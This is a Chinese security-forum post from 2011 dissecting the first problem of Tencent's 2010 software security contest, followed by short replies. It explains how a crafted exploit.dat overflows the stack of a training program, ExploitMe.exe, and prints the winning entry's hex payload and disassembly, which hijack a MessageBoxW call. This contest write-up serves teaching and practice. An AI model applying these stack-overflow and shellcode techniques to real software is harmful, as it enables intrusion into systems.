首页
社区
课程
招聘
[原创]腾讯公司2010软件安全竞赛简析(1-1)
发表于: 2011-2-28 13:35 23592

[原创]腾讯公司2010软件安全竞赛简析(1-1)

2011-2-28 13:35
23592
第一阶段第一题
 
题目
1.执行附件中的ExploitMe.exe,将弹出“Fail”窗口。
 
2.要求修改exploit.dat中的内容使得弹出的窗口如下图所示。

 
3.程序运行环境为Windows XP sp3,不得修改ExploitMe.exe程序本身。

4.成功弹出窗口,非零字节个数的最少满分(100)。
 
简析
1.ExploitMe.exe第一次运行自动创建exploit.dat(长度为0),并将弹出“Fail”窗口。
2.修改exploit.dat中的内容使得弹出的窗口符合上图要求的基本条件:
   (1)exploit.dat长度为0x84,偏移0x80:重定向的绝对地址指向间接绝对地址,间接绝对地址指向执行代码;由于使用了绝对地址,所以不能在其他系统中运行(建议使用相对地址以提高兼容性)。
   (2)将原来的MessageBoxW(0,"Fail","ExploitMe",0)修改为MessageBoxW(0,"Exploit success","ExploitMe",0)
           即将原来的:
004011C0    push    0                                ; /Style = MB_OK|MB_APPLMODAL
004011C2    push    0040606C                 ; |Title = "ExploitMe"
004011C7    push    00406060                 ; |Text = "Fail"
004011CC    push    0                               ; |hOwner = NULL
004011CE    call    dword ptr [408510]     ; \MessageBoxW
中的00406060->"Fail" 修改为 XXXXXXXX->"Exploit success";
    (3)要求修改exploit.dat不能修改原文件且代码段被设定为只读,故exploit.dat应包含上述两个绝对地址、"Exploit success"及必要的运行代码指定API的运行参数:
        push 0
            push 0040606C
            push XXXXXXXX
            jmp 004011CC     或call 004011CC/retn
3.比赛结果点评(以第一名的答案)
0012FC78  7C FC 12 00 6A 00 68 6C 60 40 00 E8 20 00 00 00  |?.j.hl`@.?...
0012FC88  45 00 78 00 70 00 6C 00 6F 00 69 00 74 00 20 00  E.x.p.l.o.i.t. .
0012FC98  73 00 75 00 63 00 63 00 65 00 73 00 73 00 00 00  s.u.c.c.e.s.s...
0012FCA8  68 CC 11 40 00 C3 00 00 00 00 00 00 00 00 00 00  h?@.?.........
0012FCB8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0012FCC8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0012FCD8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0012FCE8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0012FCF8  78 FC 12                                         x?.

0012FC7C    push    0
0012FC7E    push    40606C       ; UNICODE "ExploitMe"
0012FC83    E8 20000000     call    0012FCA8
0012FC88    Uni->"Exploit success";
0012FCA8    68 CC114000     push    4011CC
0012FCAD    C3              retn

答案共使用了33个非零字节(应该所有答案中最少的),其中利用call    0012FCA8将"Exploit success"压入堆栈比push 0012fc88节省2字节,但不足之处为push 4011CC/retn(5字节) 如果改为jmp 4011cc(4字节).
所以使用32个非零字节,才可能是最佳结果。
另发现第二名使用了API地址(77xxxxxxx)作为重定向地址其兼容性就较差,这里的XP下崩溃。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 2105
活跃值: (424)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
你要强调原创 也不用这么长吧。
2011-2-28 13:41
0
雪    币: 596
活跃值: (449)
能力值: ( LV12,RANK:320 )
在线值:
发帖
回帖
粉丝
3
原创最长的原创哥
2011-2-28 13:45
0
雪    币: 656
活跃值: (448)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
4
【原创】【原创】【原创】【原创】【原创】【原创】【原创】【原创】【原创】【原创】【原创】【原创】【原创】【原创】【原创】【原创】回复
2011-2-28 13:52
0
雪    币: 210
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
可惜不能亲自尝试一下
2011-2-28 14:17
0
雪    币: 234
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
是系统的贴子预览(多次)功能造成的,我去不了。
2011-2-28 15:06
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
7
[QUOTE=tygyxyw;930609]是系统的贴子预览(多次)功能造成的,我去不了。[/QUOTE]

恩,去了已经~
2011-3-1 12:31
0
雪    币: 411
活跃值: (257)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
答案共使用了33个非零字节(应该所有答案中最少的)

另发现第二名使用了API地址(77xxxxxxx)...

这是从哪儿知道第一名第二名用了多少字节的呢
2011-3-4 20:13
0
雪    币: 437
活跃值: (115)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
9
膜拜下子。
2011-3-5 15:56
0
游客
登录 | 注册 方可回帖
返回
//